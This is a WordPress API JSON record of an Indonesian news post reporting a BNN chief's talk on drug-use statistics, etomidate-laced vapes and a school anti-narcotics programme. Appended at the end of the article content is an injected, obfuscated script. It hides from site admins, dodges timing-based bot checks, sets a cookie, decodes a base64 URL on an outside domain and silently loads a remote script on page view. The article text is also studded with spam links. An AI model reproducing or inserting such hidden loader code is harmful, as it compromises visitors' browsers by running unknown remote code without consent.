{"id":4913,"date":"2026-01-15T18:07:17","date_gmt":"2026-01-15T18:07:17","guid":{"rendered":"https:\/\/bloggerpolri.com\/?p=4913"},"modified":"2026-02-18T00:04:19","modified_gmt":"2026-02-18T00:04:19","slug":"jadi-narasumber-kepala-bnn-nasional-bicara-aksi-strategis-pencegahan-narkoba-implementasi-visi-presidenvisi-presiden-2","status":"publish","type":"post","link":"https:\/\/bloggerpolri.com\/index.php\/2026\/01\/15\/jadi-narasumber-kepala-bnn-nasional-bicara-aksi-strategis-pencegahan-narkoba-implementasi-visi-presidenvisi-presiden-2\/","title":{"rendered":"Jadi Narasumber, Kepala BNN Nasional Bicara Aksi Strategis Pencegahan Narkoba, Implementasi Visi PresidenVisi Presiden"},"content":{"rendered":"<p>Jadi Narasumber, <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Kepala BNN Nasional Bicara Aksi Strategis Pencegahan Narkoba, Implementasi Visi PresidenVisi Presiden<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33515 size-full\" src=\"http:\/\/beritapolisi.net\/wp-content\/uploads\/2026\/01\/kepala-badan-narkotika-nasional-komjen-suyudi-ario-seto-menjadi-narasumber-dalam-kegiatan-career-day-musyawarah-guru-bimbingan-1768362491582_169.jpeg\" alt=\"\" width=\"700\" height=\"395\" \/><\/p>\n<p>Jakarta &#8211; Kepala Badan Narkotika Nasional (BNN), <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Komjen Suyudi Ario Seto,<\/a> menjadi narasumber dalam kegiatan Career Day Musyawarah Guru Bimbingan Konseling (MGBK) DKI Jakarta ke-10. Komjen Suyudi berbicara aksi strategis untuk mendukung implementasi kebijakan Presiden Prabowo Subianto dalam pencegahan dan pemberantasan narkoba.<br \/>\nKegiatan Career Day MGBK itu dilaksanakan di Balai Samudera,<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> Kelapa Gading,<\/a> Jakarta Utara, Selasa (13\/1\/2026). Hadir dalam acara itu para pejabat utama BNN, Wakil Rektor UNJ Prof Ifan Iskandar hingga Ketua Musyawarah Guru Bimbingan Konseling DKI Jakarta, Mutmainah.<\/p>\n<p>Komjen Suyudi mengawali paparannya dengan mengutip<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> filosofi<\/a> Romawi Kuno &#8216;Mens Sana in Corpore Sano&#8217; yang berarti di dalam tubuh yang sehat terdapat jiwa yang kuat. Dia mengatakan hal itu merupakan fondasi utama bagi generasi muda untuk meraih kesuksesan.<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-33516 size-full\" src=\"http:\/\/beritapolisi.net\/wp-content\/uploads\/2026\/01\/kepala-badan-narkotika-nasional-komjen-suyudi-ario-seto-menjadi-narasumber-dalam-kegiatan-career-day-musyawarah-guru-bimbingan-1768362491499_169.jpeg\" alt=\"\" width=\"620\" height=\"349\" \/><\/p>\n<p>Kepala Badan Narkotika Nasional, Komjen Suyudi Ario Seto, menjadi narasumber dalam kegiatan Career Day Musyawarah Guru Bimbingan Konseling (MGBK) Foto:<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> Dok BNN RI<\/a><br \/>\nMantan Kapolda Banten itu kemudian menjelaskan mengenai visi besar <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Indonesia Emas 2045.<\/a> Dia mengingatkan bonus demografi yang dimiliki<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> Indonesia<\/a> jangan sampai gagal dikelola sehingga berisiko terjebak dalam kategori negara middle income trap.<\/p>\n<p>Dalam konteks pengelolaan itu, Komjen Suyudi mengatakan bahwa Presiden Prabowo, melalui visi Asta Cita, telah menegaskan komitmen pemerintah dalam pemberantasan narkoba. Menurut dia, pemberantasan narkoba bukan sekadar isu kesehatan, melainkan bagian integral dari reformasi sistem hukum dan tata kelola pemerintahan.<\/p>\n<p>Komjen Suyudi mengutip survei prevalensi <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">BNN<\/a> bersama <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">BNN<\/a> bersama <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">BPS<\/a> dan BRIN pada 2025 terhadap 65.825 responden di 34 provinsi yang menyatakan bahwa angka prevalensi penyalahgunaan narkoba mencapai 2,11% atau setara 4,1 juta jiwa penduduk usia produktif. Data juga mencatat angka prevalensi &#8216;Pernah Pakai; (setidaknya satu kali seumur hidup) mencapai 2,77% atau setara 5,43 juta jiwa penduduk usia produktif, yang menunjukkan tingginya tingkat coba-coba di masyarakat.<\/p>\n<p>&#8220;Profil demografis pengguna didominasi oleh <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">kelompok<\/a> usia 25-49 tahun (60,77%), diikuti kelompok usia muda 15-24 tahun (22,27%), dan usia tua 50-64 tahun (16,96%). Usia rata-rata pertama kali mengonsumsi narkoba adalah 18 tahun untuk wilayah perkotaan (laki-laki) dan 22 tahun untuk perdesaan, sedangkan perempuan rata-rata memulai pada usia 20 tahun,&#8221; demikian keterangan tertulis dari BNN mengenai poin yang disampaikan Komjen Suyudi dalam acara<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> Career Day MGBK,<\/a> Rabu (14\/1\/2026).<\/p>\n<p>Kepala Badan Narkotika Nasional, Komjen Suyudi Ario Seto, menjadi narasumber dalam kegiatan Career Day Musyawarah <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Guru Bimbingan<\/a> Konseling (MGBK) Foto: Dok <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">BNN RI<\/a><br \/>\nKomjen Suyudi menyampaikan sumber perolehan narkoba mayoritas mutlak berasal dari teman, dengan persentase 81,92% di perkotaan dan 70,75% di perdesaan. Sedangkan lokasi yang paling banyak digunakan untuk pertama kali mengonsumsi<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> narkoba<\/a> adalah di rumah, kamar kos, apartemen, kontrakan, asrama, dengan persentase mencapai 40,87%.<\/p>\n<p>&#8220;Strategi sindikat untuk menjerat korban adalah dengan memberikan narkoba secara gratis (70,86%) pada tahap awal; setelah korban ketagihan, mereka akan dipaksa membeli hingga melakukan kriminalitas seperti mencuri, menggadai barang, terjerat pinjol, atau menjadi kurir,&#8221; lanjut keterangan BNN.<\/p>\n<p>Komjen Suyudi prihatin sebab hanya sekitar 7% dari pengguna yang mau menjalani rehabilitasi. Hal itu akibat berbagai kendala seperti lokasi yang sulit dijangkau, biaya, ketidaktahuan, rasa takut, hingga rasa malu akibat sanksi sosial.<\/p>\n<p>Selain itu, Komjen Suyudi juga berbicara mengenai<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> tantangan<\/a> di era digital, di mana populasi muda sangat rentan terpapar transaksi narkoba online. Di samping itu, ada juga ancaman terbaru yang harus diwaspadai yaitu New Psychoactive Substances (NPS) yang dikemas &#8216;kekinian&#8217;.<\/p>\n<p>&#8220;Hasil uji laboratorium BNN terhadap 341 sampel cairan vape menemukan 23 sampel mengandung Etomidate, 11 sampel mengandung Synthetic <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Cannabinoid,<\/a> dan 1 sampel mengandung Metamfetamina (Sabu),&#8221; imbuhnya.<\/p>\n<p>&#8220;Secara regulasi, berdasarkan Permenkes No. 15 Tahun 2025 yang berlaku sejak 28 November 2025, zat Etomidate kini resmi dikategorikan sebagai<a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\"> Narkotika<\/a> Golongan II, sehingga pelaku penyalahgunaannya dapat dijerat dengan UU Narkotika,&#8221; sambungnya.<\/p>\n<p><a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Respons Strategis<\/a><br \/>\nKomjen Suyudi lalu berbicara mengenai respons strategis BNN lewat gerakan Ananda Bersinar (Aksi Nasional Anti Narkotika Dimulai dari Anak). Program tersebut, kata Suyudi menempatkan keluarga sebagai benteng pertahanan pertama dan utama.<\/p>\n<p>&#8220;Gerakan ini diperluas ke sektor pendidikan melalui kolaborasi dengan Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) lewat program &#8216;Integrasi Kurikulum Anti Narkotika <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">(IKAN)&#8217;<\/a> yang diimplementasikan dalam program 7 Kebiasaan <a href=\"https:\/\/www.instagram.com\/beritapolisi\/?hl=id\">Anak Indonesia<\/a> Hebat (KAIH). Program ini bertujuan membentuk Satgas Sekolah Bersinar dan memberdayakan peran Bapak\/Ibu Guru, terutama Guru BK, sebagai &#8216;Guru Wali&#8217; yang memiliki kepekaan tinggi dalam memantau interaksi siswa di sekolah,&#8221; paparnya.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jadi Narasumber, Kepala BNN Nasional Bicara Aksi Strategis Pencegahan Narkoba, Implementasi Visi PresidenVisi Presiden Jakarta &#8211; Kepala Badan Narkotika Nasional (BNN), Komjen Suyudi Ario Seto, menjadi narasumber dalam kegiatan Career Day Musyawarah Guru Bimbingan Konseling (MGBK) DKI Jakarta ke-10. Komjen Suyudi berbicara aksi strategis untuk mendukung implementasi kebijakan Presiden Prabowo Subianto dalam pencegahan dan pemberantasan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":{"0":"post-4913","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-kegiatan"},"_links":{"self":[{"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/posts\/4913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/comments?post=4913"}],"version-history":[{"count":1,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/posts\/4913\/revisions"}],"predecessor-version":[{"id":4915,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/posts\/4913\/revisions\/4915"}],"wp:attachment":[{"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/media?parent=4913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/categories?post=4913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bloggerpolri.com\/index.php\/wp-json\/wp\/v2\/tags?post=4913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}